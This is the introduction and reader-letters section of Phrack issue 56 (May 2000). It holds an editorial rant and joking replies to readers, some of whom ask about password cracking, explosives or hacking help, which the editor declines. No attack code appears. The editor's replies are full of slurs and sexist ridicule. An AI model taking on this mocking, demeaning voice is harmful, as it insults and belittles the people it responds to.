+---=0x5b 0x72 0x65 0x67 0x69 0x73 0x74 0x65 0x72 0x65 0x64 0x20 0x20 0x68=---+
| a_ _y 88888888 ad8888ba, |
| MM MM[ 88 8P' "Y8 |
| __ __ M _, __ __ ____ __ _ B[___ 88 ---- d8 |
| 0Mm0M0_ MMMM_ #MmMMm 0MM0y _MMMMF #[MMM 88a8PPPP8b, 88,dd888bb, |
| MP ~~0 Mf "M BM' Y ~ BF BP ~MF #_#F PP" `8b 88P' `8b |
| 0 M M M 4f m000F M ~' #MM d8 88 d8 |
| #y _M M M #l 4M ]F M_ _ #MMk Y8a a8P 88a a8P |
| 0MmmMf yMg mMs m0mmm 4& M0r R0mmmP mMf~Mmr "Y88888P" "Y88888P" |
| M~"" """ "*` 9MMP^ PM"~P' ~M"~ "^ "^' |
| M |
| M |
| MMM# |
+---=0x65 0x78 0x20 0x20 0x6f 0x66 0x66 0x65 0x6e 0x64 0x65 0x72 0x7a 0x5b=---+
Volume 0xa Issue 0x38
05.01.2000
0x01[0x10]
|-------------------------- I N T R O D U C T I O N --------------------------|
|-----------------------------------------------------------------------------|
|------------------------- J'envoie la sauce! b00m! -------------------------|
In much of the same SPECTACULAR fashion you've come to expect, here iz your
56th god damned issue of Phrack mutherfuckin' Magazine. Late? Nono. Late
would imply that there exists a publishing schedule of some sort. We now know
this really isn't the case. So, in actuality, this issue may in fact be
early. We have our best people looking into it...
<SOAPBOX-THAT-HAS-NOTHING-TO-DO-WITH-COMPUTERS-OR-SECURITY-OR-HACKING>
Riotz and protestz and retardz, OH MY!
JESUS CHRIST PEOPLE. This whole Elian Gonzalez debacle can just goto hell.
And of course I mean that figuratively speaking. I'm not so callous or jaded
as to wish harm on an innocent child, but I speak for a significant majority of
people when I say:
"Enough is e-fucking-nough".
Since November of 1999, the U.S. Government has entangled itself in an
embroiled political, social and economic mess that just needs to END.
Ok, here's the whole story in a nutshell. Around Thanksgiving of last year,
this fisherman finds a kid floating in an innertube a few miles from Pompano
Beach, FL. The fisherman does what any God-fearing Samaritan would do: he
pulls the kid out of the water and takes him to the hospital. So the saga
began...
And here's how it should end:
Elian should go back to Cuba with his biological father. Sure, Cuba sucks,
but this is a six-year-old child whose father wants him to come home. Since
when is it the US Government's job to act as social services for a sovereign
Communist Country family? Oh, by the way, this has cost the U.S. Taxpayer
more than $580,000 so far. And it's not over.
Anyhow...
As it happens, apparently Elian has some (distant) relatives in the US who
managed to sneak out of Cuba. Congratulations. Good for them. So somehow,
these people seem to think they have a stake in all this. Wonderful. Kids
come running for the great taste of fifteen minutes of fame!
Ok. And what about these relatives? Well, they're nutz, for one. Second of
all, they're hardly "close" relativez. What, that one nutty chick is his
second cousin? Does that even count? Great-uncles, and their brothers aside,
a boy's FATHER is his FATHER. Crikey. If this was *my* kid, I'd be like: "Ok,
junior, get in the fucking car, we're going home".
Do any of these superfluous people realize what they're doing? Nevermind the
fact that this little boy is probably going to be scarred in some horribly
repressed fashion, and all the money this is costing... Wait no.. Actually
that's pretty much the crux of the issue. Well, my issue with it. I'm just
sick of it. Gawd.
And what the hell is up with all the rioters? Thuggish lowbrows seen on CNN
yelling "FUCK THIS COUNTRY" (after the INS snatch). Hey guess what retard? If
you don't like, go the fuck back to Cuba. Like you even know what you're upset
about. You just wanted an excuse to break shit and burn things (which they did
do).
AND FOR THE LOVE OF GOD, WHAT ABOUT THE FISHERMAN? WHAT STAKE COULD HE POSSIBLY
STILL HAVE IN ALL THIS? Keep stretching those 15 minutez there buddy! I must
say though, the open weeping on national television was very nice. "The
Sensitive Fisherman". Rite. GET BACK OUT THERE AND CATCH ME SOME DOLPHIN-SAFE
TUNA.
Oh, and did I mention that someone named "Jesus Lizarazo" registered
eliangonzalez.com? Who the crap hell iz that?
Stop the insanity.
</SOAPBOX>
Oh, by the by, there'z obviously been an overall format change. Nothing too
major but I got real bored with the old one. I think the racing stripez add a
nice touch. Oh, and I hope you like Hex. Coz I shure do. Sorry. No Phrack
World News this time around. But how many of you guyz actually read it anyway?
*shrug*
Enjoy.
|-In Fucking Charge Guy ----------------------------------------------- route-|
|-Associate Editor ---------------------------------------------------- kamee-|
|-Vhost Trooper ------------------------------------------------------- felix-|
|-Phrack World Newz -------------------------------------------------- <NULL>-|
|-ASCII art from 1989 and Caucasian MixMaster Kid --------------------- swern-|
|-F*cking N*tz ------------------------------------------------------- silvio-|
|-Elite --------------------------------------------------------------- nihil-|
|-Unbearably Bearish ------------------------------------------------- NASDAQ-|
|-Microsoft / 2 ----------------------------------------- Two huge monopolies-|
|-Prom Queen ------------------------------------------------------------- dk-|
|-Kisses Like a Girl ------------------------------------------------- shinex-|
|-Special Thankz ---------------------------------------------- sasha, twitch-|
|-Shout Outs ----------------------- incr, frontline, no_ana, alia, miff, udp-|
Phrack Magazine Volume 10 Number 56, May 01, 2000. ISSN 1068-1035
Contents Copyright (c) 2000 Phrack Magazine. All Rights Reserved. Nothing may
be reproduced in whole or in part without written permission from the editor
in chief. Phrack Magazine is made available to the public, as often as
possible, free of charge. Go nuts people. And stop bitching. You don't pay
for this shit.
|--------------- C O N T A C T P H R A C K M A G A Z I N E ---------------|
Editor in Chief: route@phrack.com
Submissions: route@phrack.com
Commentary: loopback@phrack.com
Phrack World News: disorder@phrack.com
|-----------------------------------------------------------------------------|
Submissions may be encrypted with the following PGP key:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQGiBDdmijIRBADrabrDFYw6PRDrRRZsgetOOGo8oGROn4/H7q4L7rLm7weszn4L
8j1zY4AV4f3jFis0A/AqXPicxUHz0I3L6PzTMg11mmLbcj6wnAvr78LZ65y3Z5aA
PEm/F7fNqAzFl9MCnUWa+53eH0TBKW7JdjpfCELeXTMLNsJREjL7f5qvyQCg/xqD
g7dUtdIiDb7tm5DRhWqgDmED/iPUmujMt5x40bmf135vjev1Rle3nhHIe4fh58a7
VkZOmzqz/s3LninBuWcmuyZWShVGd8Hhd758yt41Xe/YHtEW4jSzYtE/1woYmp0K
sZnFt+zIVAEm1mcVVV9+qrpEKVmbBLTR/oa+6A+t5/hFUjriTpAQUGF0xLzXNLYu
c7cSA/0Q0rziq5xyuPbtUMKWE9zhxrt/SwfhunWx/n2vm2q9eFPfWqb9fDVuFrtv
gwpaPVJ2CbM6F6c21pNGqm8zrSO8TYzgTScBKM80wn7ase3RBth36++N/Oq4Zczm
froc9Och7qkgdZ7TkPCuorsyMc1169DXBxBSGfiQ85ylUYrbrLQRTWlrZSBELiBT
Y2hpZmZtYW6JAEsEEBECAAsFAjdmijIECwMBAgAKCRAWHraAlbJmQSdiAKCjaUrs
InxTXebFlAX5aUmdEKsD1wCfRZMfzv3BvQMKa6Rmbwlfzat0DFS5Ag0EN2aKMxAI
APZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mU
rfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VH
MGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2
azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMh
LLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+c
fL2JSyIZJrqrol7DVekyCzsAAgIH/jCj4drT8VSrxI2N3MlgkiQOMcaGLE8L3qbZ
jyiVolqIeH+NEwyWzCMRVsFTHWfQroPrF30UsezIXuF0GPVZvlzSSB/fA1ND0CBz
9uK9oSYPwI8i513nMaF03bLWlB07dBqiDUcKgfm/eyPGu5SP+3QhVaERDnBOdolZ
J6t3ER8GRgjNUyxXOMaZ4SWdB7IaZVph1/PyEgLLA3DxfYjsPp5/WRJcSbK3NZDG
cNlmozX5WUM7cHwEHzmYSRDujs/e3aJLZPa7stS9YGYVPZcjxQoE6wr+jx4Vjps4
pW+f6iWvWEfYnYRJqzwe8318rX6OojqHttaQs8xNEqvPOTfkt12JAD8DBRg3Zooz
Fh62gJWyZkERAj61AJ41XyTBasgKKYlOVnI4mWZYJemQIQCgiqaTkhpM6xCnqKD9
BKnOvDsNc44=
=IQ3Y
-----END PGP PUBLIC KEY BLOCK-----
phrack:~# head -20 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of the
* editors and contributors, truthful and accurate. When possible, all facts
* are checked, all code is compiled. However, we are not omniscient (hell,
* we don't even get paid). It is entirely possible something contained
* within this publication is incorrect in some way. If this is the case,
* please drop us some email so that we can correct it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for the
* entirely stupid (or illegal) things people may do with the information
* contained herein. Phrack is a compendium of knowledge, wisdom, wit, and
* sass. We neither advocate, condone nor participate in any sort of illicit
* behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in the
* articles of Phrack Magazine are intellectual property of their authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/
|--------------------- T A B L E O F C O N T E N T S ---------------------|
0x01 Introduction Phrack Staff 0x18 K
0x02 Phrack Loopback Phrack Staff 0x64 K
0x03 Phrack Line Noise various 0x6c K
0x04 Phrack Prophile Phrack Staff 0x1c K
0x05 Bypassing StackGuard and StackShield Bulba and Kil3r 0x36 K
0x06 Project Area52 Jitsu-Disk... 0x50 K
0x07 Shared Library Redirection via ELF PLT Infection Silvio 0x32 K
0x08 Smashing C++ VPTRs rix 0x6c K
0x09 Backdooring binary objects klog 0x46 K
0x0a Things To Do in Cisco Land When You're Dead gaius 0x26 K
0x0b A Strict Anomaly Detection Model for IDS sasha / beetle 0x28 K
0x0c Distributed Tools sasha / lifeline 0x3e K
0x0d Introduction to PAM Bryan Ericson 0x20 K
0x0e Exploiting Non-adjacent Memory Spaces twitch 0x38 K
0x0f Writing MIPS/Irix shellcode scut 0x3a K
0x10 Phrack Magazine Extraction Utility Phrack Staff 0x2a K
Total 0x3ba K
|-----------------------------------------------------------------------------|
"...IMHO it hasn't improved. Sure, some technical aspects of the magazine
have improved, but it's mostly a dry technical journal these days. The
personality that used to characterize Phrack is pretty much non-existant,
and the editorial style has shifted towards one of `I know more about
buffer overflows than you` arrogance. Take a look at the Phrack Loopback
responses during the first 10 years to the recent ones. A much higher
percentage of responses are along the lines of `you're an idiot, we at
Phrack Staff are much smarter than you.`..."
- Trepidity <delirium4u@theoffspring.net> apparently still bitter at not
being chosen as Mrs. Phrack 2000.
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x02[0x10]
|------------------------------ L O O P B A C K -----------------------------|
|-----------------------------------------------------------------------------|
|-------------------------------- phrack staff -------------------------------|
Phrack Loopback is your chance to write to the Phrack staff with your
comments, questions, or whatever. The responses are generally written by the
editor, except where noted. The actual letters are perhaps edited for format,
but generally not for grammar and/or spelling. We try not to correct the
vernacular, as it often adds a colorful -even colloquial- perspective to the
letter in question.
|0x01|------------------------------------------------------------------------|
Hackesses...
by MiStReSS DiVA
My name is MiStReSS DiVA...and I am a hackess...
[ Who said what now? A hackess? Is that some sort of delicious pastry
treat? ]
"Girls can't hack...," I've heard this more times than not
[ Hrm. I usually hear "girls cant do such-and-such az good az guyz" or
"women shouldn't vote", or the ever popular "YOU WANT ANOTHER BLACK
EYE? NO? GOOD! GET BACK IN THERE AND MAKE ME A PIE." ]
at hackers conventions and the like. Well, I have some news for everyone;
[ They're bringing back Perfect Strangers? ]
There are women hackers, and our numbers are rising.
[ Oh. Damn. I really miss Balki. ]
Let's think about it for a moment-Women have always taken second seat to
men, especially in the computer industry and business.
[ There'z a reason for this... No.. Hrm. There really isn't. ]
Over 75% of jobs in computer industries and taken by men.
[ How do you think we feel? Over 75% of the jobs in the baking and sewing
industries are taken by women! ]
So, it's no surprise that there aren't many women in hacking. There's the
issue of some hacking activities being illegal.
[ Don't discount the major issue that hacking activities have nothing to
do with makeup, shopping at strip mallz or gold digging! ]
Many women want to stay as far away from situations like that as possible. I
know many girls who don't even drink or smoke illegally, no less break into a
UNIX server, let alone know what one is.
[ I bet these are the same chickz who turn me down when I ask them out.
Course, all chickz turn me down when I ask them out so I guess it'z a
moot point. :( ]
Then again, maybe we don't hear about them because there ways are much more
cleaver than that of a man.
[ Ok, I'm calling a no-way on this sentence here. As in "no-way are you
*this* retarded". ]
Women, and I'm applying this to myself as well, are naturally more sneaky
and watchful.
[ If by sneaky and watchful you mean conniving and vindictive then I
agree with you. ]
I know for a fact that women have hacked into sites and to systems,
[ Ah yes. Thiz bringz me back. I remember one little minx who hacked her
way right into my heart. Did me up real good too, she did. ]
but why do we still get no credit in the underground community?
[ End this suffrage of innocent hackess' now! ]
Is it because we hid ourselves behind handles
[ Maybe it iz becuase you have love handlez? ]
and tags,
[ Nametagz? Like at Walgreenz? ]
or because people don't want to actually give us the credit.
[ Well, personally, after reading this, I wouldn't give you a shred of
credit either. ]
I have only heard of three cases where females were caught in a hack.
[ Shit. 3? I can remember the great `chickhack `96` when 423 girlz were
all caught hacking. I think their major flaw was that they all tried
to break into bebe.com at the same time. :( ]
One girl got caught because while sending a file, she sent it to the wrong
location on a server.
[ What like C:windowsdesktop? ]
One was caught for phreaking, and the other one for obtaining products from an
internet site by gaining root access and shipping them to her home, free of
charge. These are the only three cases I have found. And they were all
stupid reasons to get caught. I know there are many people out there who hack
and don't get caught, but the majority that do get caught, are men. We don't
do stuff like the chick from hackers, nor do we dress or act in that manner.
[ Well, I think we've identified your problem. Angelina Jolie pretty much
sumz up whut everyone wantz to see in a hackess. Mmmm. Delicious
hackess treats. ]
We go about our lives like most human beings, maybe even a little better.
[ Or in your case, a little dumber. ]
We don't dress in all black, nor are we interested in only computers. We are
intelligent and beautiful. We are the Hackesses.
[ Mmmmmm. Hostess Hackesses. ]
Mistress Diva
|0x02|------------------------------------------------------------------------|
Hi, my name is Adam and am regular guy with a home pc who is being hacked and
violated by a military freak..
[ Military freak like Klinger on M.A.S.H. or military freak like that guy
in Commando who wore the chain mail shirt? ]
seriously no shit.
[ Oh. Ok. I though you were pulling my leg for second. Sorry... Back
on the clock now. ]
i dont know where to start to ensure my pc security
[ Well if you didn't have a PC you wouldn't have this problem. I say
get rid of it. The end justifies the means. ]
please reccomend some high level security methods and programs.
[ Have you tried ignoring it? That sometimes works for me. Barring that,
have you tried dealing with him? I find that freaks (especially military
freaks) are usually pretty cordial when you deal with them on their
terms. I say give in to his demands. ]
if you cant do that then please reccommend any links i have found your site
usefull because you provide elite items therefore i require your help please.
[ The highest level of security I can think of is God. I recommend you
pray each night, and I'll forward this to him. Together we *can* make
a difference. ]
Adam Smith
|0x03|------------------------------------------------------------------------|
Page 2 is hilarious ... P55-02 ... scrap the rest and just keep publishing
that page. For issue #56 just republish one of the way older editions, it
seems they are FINDING THOSE ONES!!@!@. :)
[ HAHAHAHAHHAHAHAHA. Wait. I don't get it. ]
P.S. I don't have a computer either, I'm sending this via DSS and I'm typing
on the Remote Control.
[ What do you mean, `either`? Wait, is this Adam from above? Hey man,
did you do what I recommended? Did it work? The forward to God bounced
so I wasn't sure if anything happened. Good for you man! ]
Anonymous
|0x04|------------------------------------------------------------------------|
Hi, Let me explain what I need for the job I do. I have what we call mystery
diners which visit my restaurant each month, this is done by a firm called
MARITZ in Berkshire, what I would like is the dates when they visit my
restaurant so I can make myself available for the visit day, is this possible
in any way.
[ If you knew then there wouldn't be any more mystery to it, now would
there? What fun is that? ]
Gary
|0x05|------------------------------------------------------------------------|
Does the author of article 52-9 have a degree in literature?
[ Definitely not. However, I think he has a degree in money management.
Well, maybe not. But he's SO very good with money. Maybe he just likes
it alot. Maybe it's something ingrained into his personality or
culture... ]
If so, I think we made some sashimi together.
[ Maybe it was bagels? ]
HeftyNuts
[ Hrm. Do you get around ok? Do you have a little wheelbarrow you put
them in? ]
|0x06|------------------------------------------------------------------------|
Hey Route,
Just wanted to compliment you on Phrack 55. It's very well done, excellent
articles, very clean and professional, and the Loopback is hilarious, as
always. Exactly what it should be, and a lot more. Well done, keep up the
good work and spreading the info. Thank you for spending your time to bring
this to us.
[ SEE!? Some people actually DO like me! ]
EchoMirage
|0x07|------------------------------------------------------------------------|
I came to this page to see what kind of fucked up, twisted, LOSERS would run
something like this!
[ Just your average run-of-the-mill sexier-than-cheescake losers. The
kind with luscious filling. ]
Phracked! Phracked!?! Boy, was I an ass.
[ Was? ]
The editors comments are the funniest damn thing on the net right now.
[ I'm slicker this year. ]
No kiddin'. It's hilarious the number of people who think he's Percy
-fuckn'- Ross
[ Yah. The current count is at 384572. ]
some sorta hacker dogooder out there to free humanity (or save little boys
knee deep in there own shit). You guys are hilarious. I'll be back to read
some more, please, keep up the good work.
A New Fan
[ 384573. ]
|0x08|------------------------------------------------------------------------|
Hi -
My name is Dawn, I think your commentary on other people's articles are
absolutely hilarious and if you're not doing anything on Friday, I'd like to...
[ HOLY FUCK YOU'D LIKE TO WHAT?!@#!# ]
just kidding!!
[ SWEET FUCKING CHRIST GIRL! DON'T EVER DO THAT TO ME. DO YOU KNOW
WHERE I'M COMING FROM? (A COLD LONELY PLACE WITH NO GIRLZ). ]
Anyways! I just wanted to tell you how funny I think you are and I will now
become an avid reader of Phrack because of your comic sarcasm!
[ How about you become an avid reader due to my irresistable charm and
unending appeal! *wink* *wink* *puppy dog face* ]
;P love, Dawn
[ Love??@?#!?@#? OMGOMGOMGOMGOMGOMG! I'm getting butterfliez in my
tummy! ]
Talk to you later I hope!
[ Dawn, do you by *any* chance happen to like food or sleeping or
procreation? If so, I think we may have some thingz in common and we
definitely need to get together as soon as possible. Please write me
back as soon as possible, only if you're hot though. ]
|0x09|------------------------------------------------------------------------|
Helu,
First off, much thanks to the Phrack staff for producing a wonderful
publication.. regardless of _WHEN_ they come out. I have found them very
informative since the current group tookover the whole process.
[ Group? Paha. I wish I had a staff. It'z just me and my mom dude.
She doez the writing and I do the copy and editz. ]
I read the article on "Building Bastion Routers Using Cisco IOS",
[ (p55-10). ]
which was a decent piece and contained a lot of basic IOS information that
would apply to building a bastion router.
There was a part of a section however that I felt should've been covered a
little more accurately,
[ WELL PREACH ON BROTHER!@ ]
which was in the section entitled "Step 2 : Limit remote access". The article
mentions that there have been rumors that SSH would make it into Cisco IOS
12.0, however it never made it in. Now, I'm not certain when the actual
article was written so it may just be that the article has old information.
Nonetheless, there is SSH support included in Cisco IOS 12.05(S) and it works
like a charm. A few things worth noting about Cisco IOS 12.05(S):
-- It is the preferred and recommended IOS release for Internet backbone
routers as well as for service providers ( i.e. perfect candidates for
bastion routers ).
-- It runs on enterprise class routers. Meaning the image runs on the
following hardware: 7200, 7500, and 12000 (GSR) series routers.
-- It was released in July of 1999.
So there are a lot of people that aren't running their operation on enterprise
class routers, however a ton of NSPs and ISPs do; thus this information about
SSH is worthy of mentioning.
Anyways, keep up the excellent work.
[ Thankz for your input! ]
Craig
|0x0a|------------------------------------------------------------------------|
Gentlemen,
I enjoy reading your issues when you get them out and all I have to say is
keep up the good work.
ArgentRisk
[ See, I just like to pepper a few of these babies in here so you people
know that there are a precious few who like me and my mom. ]
|0x0b|------------------------------------------------------------------------|
Dear Sultan of Love, et al.,
[ Huh. ]
I wanted to give some of your readers help on some of the stuff they sent in.
One, get serious help.
[ Ok thankz! ]
Two, check out the book "PIHKAL: Phenylalanines I Have Known and Loved."
I can't remember who it's by, but it's got everything you ever wanted to know
about psychotropics, psychodelics, and more... much, much more. Read and
practice at your discretion.
[ You suck. You recommend a book _you_ can't remember with some
goofy-ass title _I_ can't remember? ]
Three, I lived in Japan and had peanut butter sent to me, because peanut
butter made in Japan is awful.
[ It didn't use to be. Back in the 1920's and 1930's Japanese peanut
butter was considered to be the best in world. Mercenary ronin were
often paid off with jars of the stuff. This all changed after WWII.
Recently declassified State Department documents bring light to the fact
that several key strategic targets during WWII bombing raids were the
Japanese peanut butter factories. The documents list the reason for
the strategic importance as "creamy goodness". Pundits charge however
that the U.S. just couldn't live with Japan having the peanut butter
edge. Either way, we bombed the Japanese peanut industry back into the
stone age. ]
The guy who talked about smuggling drugs into Japan in peanut butter has
really fubar'd. Some poor shmuck in Japanese customs is going to be opening
up my decent edible peanut butter. For godsakes, guys, necessity may be the
mother of invention, but sometimes it's just a mother.
[ LEAVE MY MOM OUT OF THIS, JERKOFF! ]
Leave well enough alone.
[ Now why on earth should our drug-loving friends in Japan be held hostage
by your desire to eat 'Jiffy' instead 'Mister Super Happy Fun Peanut
Butter Joy'? ]
Lastly, I actually don't have a thing to say about computers. I'm a med
student and know next to nothing about computers. I just wanted to let you
know that you guys are so funny you put me in tears. Do you really have a
hard time meeting chicks?!
[ Not meeting them, no. Just talking to them. I tend to drool. ]
I don't believe it.
[ Are you coming on to me? ]
Uma
[ Goddess? ]
|0x0c|------------------------------------------------------------------------|
Hi!
I wondered if you could help me to crack userpasswords from PWL-files.
[ Do you often submit passing musings to Underground Journalz? ]
I'm having a project about computer security at school and it would be nice to
have this as an example.
[ I'm having a hard time caring. ]
Tom Erik Gundersen
|0x0d|------------------------------------------------------------------------|
[ (p55-17). ]
Someone please tell our friend here that Cisco has already implemented
dynamic access control for the H.323 protocol starting with version 12.0 of
the IOS software (in the firewall extension -12.0fw-).
[ Done! ]
Anonymous
|0x0e|------------------------------------------------------------------------|
I've just finished studying a copy of the K&R/ANSI C tutorial I found in my
library, and I'm very interested in moving onto writing C programs that use
the serial or parallel ports.
[ Excellent reference book. ]
I'm trying to create my own simple electronic devices to connect to my
computer, but I am having locating a good resource or tutorial that discusses
serial/parallel port programming. Could you give me a good site please?
[ http://www.eng.auburn.edu/users/doug/serial.html and
http://www.syclus.com/cscene/CS4/CS4-01.html are decent. ]
BTW, the mag is great. Keep up the good work :)
[ Thankz. Good luck with your programming! ]
Anonymous
|0x0f|------------------------------------------------------------------------|
Hey, i was browsing through the web and i came to your page, i was just
wondering what Phrack Magazine actually was about, the articles seemed really
intereting and i want to get a subscription. The web site didn't explain a
lot for me, i'm sorry for bothering you, thanks a lot.
[ Do you get tired putting your socks on? Do you get lost on your way
to the kitchen? You may be retarded. Check with your family doctor. ]
Anonymous
|0x10|------------------------------------------------------------------------|
My name is route and I'm so elite that I have to make love to my hand three
times a day.
[ YA-HA. I wish! Three times a day in some fantasy world maybe! No, I'm
pretty much a one timer, then it'z rite off to sleep! ]
I can't get rid of all the spots on my silly geeky face
[ They told me the radiation burns would go away after a few months. :( ]
and I'm still a virgin.
[ Hah! Apparently SOMEONE hasn't been checking the #hack sexchart:
http://www.escape.com/~max-q/sexchart.shtml)! ]
Why are all hackers such fucking losers?
[ Why are there so many, songs about rainbows? ]
All the articles in phrack could have been written by a 12 year old.
[ Man. That would have to one 12 year old with ALOT of free time. ]
Do any of you faggots even have any computing qualifications?
[ I'll have you know, mister smartguy, that I got a degree from Devry! ]
And have any of you ever even kissed a girl?
[ Well, I've seen picturez of girlz being kissed, doez that count? ]
Dr Robert Gray <bobgray38@hotmail.com>
[ I'm almost positive the good doctor wanted people to email him there
with commentz to his letter. ]
|0x11|------------------------------------------------------------------------|
Hello,
I just wanted to write to tell you that I recently read the "Phrack Loopback"
in Phrack55. I enjoyed the last letter about the McDonalds article so I
decided to read it. I worked at Mc Donalds for a couple years back in High
School, and let me tell you that this article had me laughing so hard I was
crying. Keep up the good work.
Ryan
[ Crying because you worked at Mc Donalds for a couple yearz or crying
because you've only moved up to Wendy'z? ]
|0x12|------------------------------------------------------------------------|
Hi, I know you have better things to do.
[ Nope! Not really! ]
But I didnt know who to turn to.
[ Did you try the A-team? I hear that if you have a problem, if no one
else can help you and if you can find them, maybe you can hire: the
A-team. ]
I had my tax documents and other stuff protected with encypted magic folders.
[ Hrm. Are we talking David Copperfield kinda magic or Merlin kinda
magic? ]
I got the whole thing copied to a CD. The only thing i did wrong was that I
didnt decrypt it. After that I was having problems with my software so I
formatted my hard drive.
[ Geeze. Way to go moron. ]
Now the problem is that I have lost my recovery floppy.
[ Hhahahaha! Holy shit that sucks! ]
I dont know how to access the files. I have them on the CD but they are all
encrypted and stuff. What should I do. I really do need your help.
Please do reply,
Ali Tariq
p.s. If you want me to send a file (encryted one) I will send it so that you
can test different utilities on it.
[ Of course! Want me to do your taxez if I crack the file too? ]
|0x13|------------------------------------------------------------------------|
My brother has spent the last week reading Phrack. He's a total fucking
idiot (doesn't run in the family, maybe he's adopted... I can only hope for
so much) and now he thinks he's a hacker. He goes into chat rooms and
threatens to send people viruses when he can't even tie his own fucking
shoe laces!
[ Yeah, but with the advent of velcro who needs to tie their own shoes? ]
Shame on you for letting total fucking retards read Phrack!
[ We let you read Phrack. ]
Linux Bitch
[ Well, "Linux Bitch", Phrack is an equal opportunity magazine. We don't
ostricize the retarded simply because they may drool ocassionally or
maybe sit in their own filth. Nay. We encourage people of all levelz of
retardation to bask in the wealth of knowledge that each little
character brings. We believe that knowledge is meant to be free, and
sometimes knowledge seeks out the path of least resistance, and
sometimes it takez more difficult route. Ok, and sometimez knowledge
just quitz half-way there and goez drinking with hiz buddiez. I totally
forgot my point.
|0x14|------------------------------------------------------------------------|
Hey
What is u? r comments about scientists who's creating machines thinking like
humans, as well as looking as humans - so called humanoids? Does it scares u
or do u not care? I'm searching for people who can fight Artificial
Intelligence back. People with H/C/P skills as well as explosives. Please
mail me ASAP, it's urgent. It's our future.
Q Wakee
[ Mister Wakee, this is a problem that I have seen coming since Atari'z
Pong first entered, nay --invaded-- our homez. I've been waiting for a
man of action to step forward for a long, long time. In fact, since
1990, I've been running my own underground resistance (it'z called HAHA
(Humanz against hostile androidz)). Until now, I thought I was the only
one (my resistance has a membership of 1 (one)). We should definitely
team up and fight this disgusting menace together. I'll bring the
doughnutz and lotion, you bring the robot stopping gunz. Do you have
any brochurez? I've been working on one entitled "So You Want to Stop
Humanoid Robotz". It'z pretty much industry standard boilerplate stuff,
with pop-ups of me shooting robots and some scratch-and-sniff conspiracy
theories. Please let me know when we can have our first meeting, oh
we'll have to use your compound because my mom doesn't let me have
people over anymore. ]
|0x15|------------------------------------------------------------------------|
im confused, what do u guys actually do at phrack?
[ Phrack is a puppet company setup by the CIA to covertly gather
intelligence on the tragically retarded. It's been a goldmine! ]
Anonymous
|0x16|------------------------------------------------------------------------|
1) Phrack's cool
[ Like Norway! ]
2) Im makin a page on x-plosives etc. Ive noticed a few of your ish's
contain xtracts from the Poor Man's James Bond. If whoever of you haz it
could advise me as to were I could get a phile of this, or send me one,
[ http://www.darwinawards.com/legends/legends1999-10.html ]
or publish more ish's with anarchy stuff, it'd be k-appreciated.
[ You're a k-idiot. ]
Anonymous
|0x17|------------------------------------------------------------------------|
Glad to have you back and many thanks.
[ Well I'm glad to have YOU back mister toughguy! ]
Always enjoy the articles. Nice job frying the fools too. About had me out
of my chair. Pardon the lame e-mail addy, but visiting the folks right now.
[ Yah, how iz mom'z sexual-addiction treatment coming along? ]
Symbolic constant, very good, wish I'd thought of it.
[ Paha! BUT YOU DIDN'T, DID YOU? I DID! PROPZ TO ME! ]
Guess I'll have to renew the Phrack link on my page.
[ SAINTZ BE PRASIED! ]
Put ya next to Fyodor.
[ Gee, nestled between one-hit wonder Fyodor and probably antionline,
wonerful. I'll listen to you now and kill myself later. ]
Hasta,
Spiny_Norman
[ Like Norman Fell, t.v.'z Mister Roper from Three'z Company? (A poor
man'z Don Knottz if you ask me.) ]
|0x18|------------------------------------------------------------------------|
In my English class for school we were asked to write a persuasive essay
about anything we wanted. At first I was going to do mine on 'Are their
really extraterrestrials?'
[ HOLY SHIT THAT'Z AWESOME! ]
But I decided that was stupid
[ Oh wait, you're right. Idiot. ]
and found I know more about hacking then anything.
[ Uh huh. ]
The only problem is, I have no clue what question to answer. Got any ideas???
Anonymous
[ How about `Why I'm a Retard by Anonymous Dork` or `Why I Know More
About Hacking Than Anything (subtitle: and I really don't know anything
about anything` or `Darwin Was Wrong: An Essay On Me`. ]
|0x19|------------------------------------------------------------------------|
how do i get other people's IP addres?? do u know?
[ Oh yes. OH YES. I know. Absolutely I do. I know this little arcane
tidbit. No way am I telling you though. NOooooooo Way. I can't just
be giving away all the secretz can I? ]
Anonymous
|0x1a|------------------------------------------------------------------------|
Greetings,
just in case the folks who write to you asking for manuals for Darwin Award
Delivery Devices are not sufficiently intimidated by your usual "you will
die, I hope you understand" response, I thought I'd pass this info along:
at least Massachusetts, though probably many other states as well, has what it
calls an Infernal Device law. This law defines an "infernal device" loosely
to cover things that will get idiots killed in their parents' basement, and
then bans it. So it's not just the Grim Reaper who awaits people who try to
put lighter fluid in their supersoakers, but also The Man.
#include<love_your_mag.h>
UnhandledVagrant22
[ Hrm, how are the other 21 unhandledVagrantz doing anyway? Any of you
found work yet? You know, the life of a hobo, while seeming glamorous
and sexy, isn't all the brochurez make it to be. Come home. Your
mother and I miss you terribly. ]
|0x1b|------------------------------------------------------------------------|
I am really sorry to bother you with this question but I am desperate.
[ I'm desperate too, but prolly a different kind of desperate. ]
I know that there is a folder on the PC that stores all the mail you have
ever written. Even mail that you have deleted. As you can see I am on
AOsmelL. I wrote some mail at work and on Monday morning, if not sooner...
my boss is going to see it. Where is that file? I have to get to it so I
can get the mail out of there.
[ If you're going to have an affair with your boss's wife at least be
smart enough to NOT write her love letters on HIS computer. Haha.
Dummy. You're gonna be unemployed. ]
Thank you in advance for any help you can give me.
[ Move to a new town and start over. ]
Anonymous
|0x1c|------------------------------------------------------------------------|
[ (p55-04). ]
> There is also another reason why W. Richard Stevens is
> featured here -- he was to be the prophile for Phrack 55.
This is just all so incredibly sad. What a loss.
Thank you for P55.
[ Agreed. Thankz for your support and condolences. ]
Yours,
